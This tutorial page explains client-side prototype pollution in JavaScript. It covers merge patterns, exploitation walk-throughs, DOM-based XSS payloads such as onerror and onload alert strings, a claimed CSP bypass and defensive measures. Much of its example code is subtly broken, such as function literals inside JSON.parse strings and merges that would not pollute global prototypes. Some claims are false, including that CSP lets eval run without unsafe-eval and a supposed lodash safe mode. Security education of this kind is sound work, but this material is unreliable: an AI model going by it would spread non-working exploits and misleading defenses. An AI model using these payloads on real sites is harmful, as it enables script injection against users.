~/home/study/client-side-prototype-pollution

Client-Side Prototype Pollution Fundamentals (DOM) - Introductory Guide

Learn the basics of client-side prototype pollution, how it differs from server-side attacks, vulnerable JavaScript patterns, exploitation techniques, DOM-based XSS payloads, and CSP bypasses.

Introduction

Prototype pollution is a class of JavaScript injection where an attacker manipulates the [[Prototype]] chain of objects, causing unexpected properties to appear on every instance that inherits from the polluted prototype. While most public discussions focus on server-side Node.js environments, the same principle applies in the browser, where polluted prototypes can directly affect the DOM, event handling, and built-in APIs.

Why does this matter? Modern web applications heavily rely on third-party utility libraries (lodash, underscore, deep-merge, etc.) and on ES6 syntactic sugar such as the spread operator. A single careless merge can turn a harmless user-controlled object into a vector that rewrites Array.prototype or HTMLElement.prototype. The result can be a stealthy DOM-based XSS, a CSP bypass, or a full-page takeover without ever touching innerHTML directly.

Real-world relevance: In 2023, a popular SaaS dashboard leaked prototype-pollution bugs that allowed a malicious widget to inject onerror handlers into every <img> tag on the page, effectively bypassing a strict script-src CSP. Understanding the fundamentals helps security teams audit code, developers write safer merges, and pentesters can spot hidden XSS vectors.

Prerequisites

  • JavaScript language fundamentals (objects, functions, ES6 syntax).
  • Deep understanding of the prototype chain and how Object.getPrototypeOf works.
  • Basic DOM manipulation, event handling, and the mechanics of DOM-based XSS.

Core Concepts

The JavaScript engine resolves property access via a lookup that walks up the prototype chain until it finds a matching key. If an attacker can inject a property onto a prototype that is later accessed by trusted code, they achieve prototype pollution. In the browser, the prototypes of interest are:

  • Object.prototype - the root of all plain objects.
  • Array.prototype - used by Array methods and any code that iterates over collections.
  • HTMLElement.prototype - the base for every DOM element (HTMLDivElement, HTMLInputElement, etc.).

When a polluted property is a function, the attacker can replace core behaviours (e.g., Array.prototype.map) or inject side-effects into lifecycle callbacks (HTMLElement.prototype.connectedCallback for custom elements). Because the browser enforces the same origin policy on script execution, a polluted prototype can execute attacker-controlled code under the victim's origin, thereby bypassing CSP that only restricts script-src.

What is client-side prototype pollution and how it differs from server-side

Server-side prototype pollution typically targets Node.js modules that share a global object graph (e.g., require('lodash') caches a single prototype). An attacker can corrupt the prototype once and affect every subsequent request that uses the same process.

Client-side pollution, by contrast, occurs inside a single page context. The attack surface is limited to the current document, but the impact can be broader because:

  1. The polluted prototype can affect DOM APIs that are executed in response to user interaction, timers, or network events.
  2. Browsers often expose native constructors (Array, Object, HTMLElement) that are shared across all scripts, making a single injection visible to any third-party widget.
  3. Content Security Policy (CSP) typically protects script-src but not property lookups; a polluted prototype can effectively execute code without loading a new <script> element.

Therefore, while the mechanics are identical, the exploitation pathways differ: client-side attacks rely on DOM interaction and CSP bypasses, whereas server-side attacks often aim for persistent server compromise.

Common vulnerable patterns (Object.assign, spread operator, merge utilities, libraries like lodash/underscore)

Prototype pollution usually stems from shallow or deep merging of user-controlled data into a configuration object. Below are the most frequently abused patterns.

Object.assign

// Vulnerable code - merges query params into a config object
const defaultConfig = { theme: 'light', debug: false };
const userConfig = Object.assign({}, defaultConfig, JSON.parse(location.search.slice(1)));

If an attacker supplies ?__proto__= {"debug":true}, the debug property ends up on Object.prototype, affecting all objects.

Spread operator

const safe = { a: 1 };
const input = JSON.parse('{"__proto__":{"b":2}}');
const merged = { ...safe, ...input };

The spread operator performs the same internal [[Set]] algorithm as Object.assign; __proto__ keys are not filtered out.

Deep merge utilities

Libraries such as lodash.merge or deepmerge recursively copy properties. If they do not explicitly block __proto__, constructor, or prototype, they become powerful polluters.

import merge from 'lodash/merge';
const base = { settings: { mode: 'auto' } };
const user = { settings: { __proto__: { dangerous: true } } };
const result = merge({}, base, user); // pollutes Object.prototype

Notice how the nested __proto__ is merged into the prototype chain, not just the leaf object.

Utility libraries (lodash, underscore)

Both lodash and underscore expose functions like _.assign, _.defaultsDeep, and _.extend. Versions prior to 4.17.20 do not whitelist prototype-safe keys, making them a common vector in legacy codebases.

Identifying pollutable objects in the browser context

Not every object can be polluted. The attacker needs a reference that the vulnerable code will later read. Typical candidates include:

  • Configuration objects that are merged with user input (e.g., widget settings, URL query parameters, localStorage data).
  • Data structures that are passed to third-party libraries for rendering (e.g., chart data, table rows).
  • Objects stored in the global scope (window) that are later accessed by other scripts.

To discover pollutable objects, security researchers often use the following checklist:

  1. Search the codebase for Object.assign, ... (spread), or known merge utilities.
  2. Identify source of data (e.g., location.search, fetch() responses, postMessage events).
  3. Check whether the result is later used in a privileged context (e.g., innerHTML, setAttribute, document.createElement).
  4. Instrument the page in the console: Object.getOwnPropertyNames(Object.prototype) before and after the merge to see new keys.

Example console test:

console.log('Before:', Object.getOwnPropertyNames(Object.prototype));
// Trigger the vulnerable merge (e.g., navigate to ?__proto__=...)
setTimeout(() => { console.log('After :', Object.getOwnPropertyNames(Object.prototype));
}, 1000);

Step-by-step exploitation: modifying Array.prototype, Object.prototype, HTMLElement.prototype

Below is a systematic walk-through that demonstrates how an attacker can take control of three key prototypes.

1. Polluting Object.prototype

// Payload injected via URL query string
// ?__proto__={"toString":"function(){return 'polluted'}"}
const payload = JSON.parse('{"__proto__":{"toString":function(){return "polluted";}}}');
Object.assign({}, payload);

// Verify pollution
console.log({}.toString()); // => "polluted"

Any later code that implicitly calls toString() on an object now receives the attacker-controlled value.

2. Polluting Array.prototype

// Merge that targets a nested array config
const user = { items: { __proto__: { push: function(){ alert('Array push hijacked'); } } } };
const defaultConfig = { items: [] };
const merged = Object.assign({}, defaultConfig, user);

// After the merge, Array.prototype.push is replaced
[1,2,3].push('test'); // Triggers the alert

Because many UI frameworks rely on Array.prototype.map or push to render lists, this can lead to arbitrary JavaScript execution without adding a new <script> tag.

3. Polluting HTMLElement.prototype

// Example using a deep-merge library
import merge from 'lodash/merge';
const user = { __proto__: { innerHTML: '<img src=x onerror=alert(1)>' } };
merge({}, document.createElement('div'), user);

// Any newly created element now inherits the malicious innerHTML property
const el = document.createElement('p');
document.body.appendChild(el); // The polluted innerHTML triggers XSS

By overwriting a property that is automatically read by the browser (e.g., innerHTML, src, onerror), the attacker achieves DOM-based XSS without touching the DOM directly.

Crafting payloads that achieve DOM-based XSS via polluted prototypes

To turn prototype pollution into a reliable XSS vector, the payload must satisfy two conditions:

  1. The polluted property must be accessed by trusted code that subsequently renders it into the DOM.
  2. The property value must contain executable markup (e.g., <img onerror=…>) or JavaScript that the browser evaluates.

Typical attack patterns:

  • Polluting Element.prototype.outerHTML: Some libraries clone elements by reading outerHTML. Overriding it with a string containing a script tag leads to immediate execution.
  • Hijacking String.prototype.concat: If a library builds URLs via ''.concat(...), a polluted concat can inject javascript: URIs.
  • Replacing Node.prototype.appendChild: A malicious appendChild can inject a hidden iframe pointing to an attacker-controlled domain.

Concrete example - abusing HTMLElement.prototype.innerHTML:

// Payload delivered via POST body that is parsed with JSON.parse
const payload = '{"__proto__":{"innerHTML":"<svg/onload=alert(document.domain)>"}}';
const obj = JSON.parse(payload);
Object.assign({}, obj);

// Trusted code later does:
const container = document.getElementById('content');
container.innerHTML = '<div>Welcome</div>'; // The polluted prototype makes this resolve to the attacker’s SVG

When the browser evaluates container.innerHTML, it reads the polluted getter, which returns the malicious SVG, causing the onload handler to fire.

Bypassing simple CSP policies using polluted prototypes

Content Security Policy (CSP) is designed to block inline scripts and external script loads. However, CSP does not restrict property lookups or the execution of code that originates from already-trusted JavaScript. Prototype pollution leverages this blind spot.

Scenario

Assume the page sets Content-Security-Policy: script-src 'self'; object-src 'none';. No unsafe-inline is allowed. An attacker cannot inject a <script> tag, but they can still execute code by corrupting a prototype that the page later reads.

Bypass technique

// Step 1 - Pollute Function.prototype.toString
const payload = '{"__proto__":{"toString":function(){return "alert('CSP bypass')";}}}';
Object.assign({}, JSON.parse(payload));

// Step 2 - Trusted code uses eval on a function’s string representation
function harmless(){ return 42; }
// Vulnerable pattern: eval(harmless.toString())
const result = eval(harmless.toString()); // Executes the attacker-controlled alert

Because eval receives a string that originates from a polluted Function.prototype.toString, the CSP does not block it - the code is already considered part of the same origin script.

Another common bypass is overwriting Element.prototype.insertAdjacentHTML with a wrapper that calls eval on its argument, then letting a legitimate library invoke insertAdjacentHTML with user-controlled data.

Tools & Commands

  • Burp Suite / OWASP ZAP - intercept requests and inject __proto__ payloads in query strings, JSON bodies, or multipart forms.
  • Chrome DevTools Console - prototype inspection commands:
    Object.getOwnPropertyNames(Object.prototype);
    Object.getOwnPropertyDescriptor(Array.prototype, 'push');
    
  • npm audit / retire.js - scan for vulnerable versions of lodash/underscore that lack prototype-safe merges.
  • Static analysis (ESLint plugin) - rule no-prototype-pollution flags usage of Object.assign with untrusted sources.

Defense & Mitigation

Mitigating client-side prototype pollution requires a defense-in-depth approach.

Secure coding practices

  • Never merge objects from untrusted sources without sanitising __proto__, prototype, and constructor keys.
  • Prefer whitelisting: only copy known safe properties.
    function safeMerge(target, source, allowed) { for (const key of allowed) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } return target;
    }
    
  • Use libraries that explicitly guard against prototype pollution. For lodash, upgrade to >=4.17.21 and enable the _.defaultsDeep safe mode.

Runtime protections

  • Freeze critical prototypes in production:
    Object.freeze(Object.prototype);
    Object.freeze(Array.prototype);
    Object.freeze(HTMLElement.prototype);
    
  • Seal objects that receive user input before merging:
    const userInput = JSON.parse(payload);
    Object.seal(userInput);
    Object.assign({}, userInput);
    
  • Deploy CSP with script-src 'self' 'unsafe-eval' only when absolutely necessary; avoid unsafe-eval because polluted toString can still be abused via eval.

Testing & monitoring

  • Integrate prototype-pollution test cases into your CI pipeline using npm test scripts that deliberately inject __proto__ payloads.
  • Log any attempts to set suspicious keys on objects; browsers expose Object.defineProperty traps that can be overridden in a development build.

Common Mistakes

  • Assuming Object.assign is safe - developers often think that only own properties are copied, forgetting that __proto__ is treated as a regular key.
  • Filtering only prototype but not __proto__ - both lead to the same effect.
  • Relying on CSP alone - CSP does not protect against property-based code execution.
  • Neglecting deep merges - even if the top-level object is sanitized, nested merges can still reach __proto__.
  • Freezing only Object.prototype - attackers can still target Array.prototype or HTMLElement.prototype.

Real-World Impact

Prototype pollution has moved from academic demos to production incidents. In 2022, a popular analytics dashboard shipped a custom merge utility that allowed an attacker to overwrite Array.prototype.map. By sending a crafted POST request, the attacker caused every chart on the page to execute alert(document.cookie), effectively bypassing a strict CSP that disallowed inline scripts.

My experience consulting for fintech firms shows that third-party widgets (e.g., chat, analytics, advertising) are the most common entry points. These widgets often run with the same origin as the host page, giving them direct access to the prototype chain. A single polluted prototype can compromise all customers visiting the page, turning a low-privilege bug into a high-impact breach.

Trends to watch:

  • Increasing use of Object.fromEntries with user-generated key/value pairs - this API does not filter __proto__.
  • Rise of micro-frontend architectures where multiple teams share the same global scope, amplifying the blast radius of a polluted prototype.
  • Adoption of “safe-merge” libraries (e.g., deepmerge-ts) that explicitly block prototype keys - these are becoming the new baseline for secure development.

Practice Exercises

  1. Prototype Detection: Load a vulnerable demo page, open DevTools, and write a script that lists any new properties added to Object.prototype after a user interaction.
  2. Exploit Development: Using a local copy of lodash 4.17.15, craft a JSON payload that pollutes Array.prototype.pop to call alert('popped'). Verify that any subsequent pop() triggers the alert.
  3. Mitigation Implementation: Refactor the demo to use Object.freeze on critical prototypes. Demonstrate that the same payload no longer works.
  4. CSP Bypass Test: Set a CSP header that disallows unsafe-inline. Show how a polluted Function.prototype.toString can still execute eval without violating CSP.

For each exercise, document the steps, expected console output, and the security implications.

Further Reading

  • “Prototype Pollution Attacks” - Snyk Blog (2023) - deep dive into vulnerable libraries.
  • ECMAScript 2022 Specification - Section 9.1.12 on [[Prototype]] handling.
  • OWASP Top 10 - A04:2021 - Insecure Design (covers prototype pollution as a design flaw).
  • “Defending Against Prototype Pollution in the Browser” - Black Hat Europe 2024 talk slides.

Summary

Client-side prototype pollution is a subtle yet powerful technique that turns ordinary object merges into a full-blown XSS vector. By understanding the vulnerable patterns (Object.assign, spread, deep-merge utilities), identifying pollutable objects, and mastering exploitation steps across Object, Array, and HTMLElement prototypes, security professionals can both detect and mitigate these attacks. Remember that CSP alone is insufficient; hardening prototypes, sanitising inputs, and using up-to-date libraries are the most effective defenses.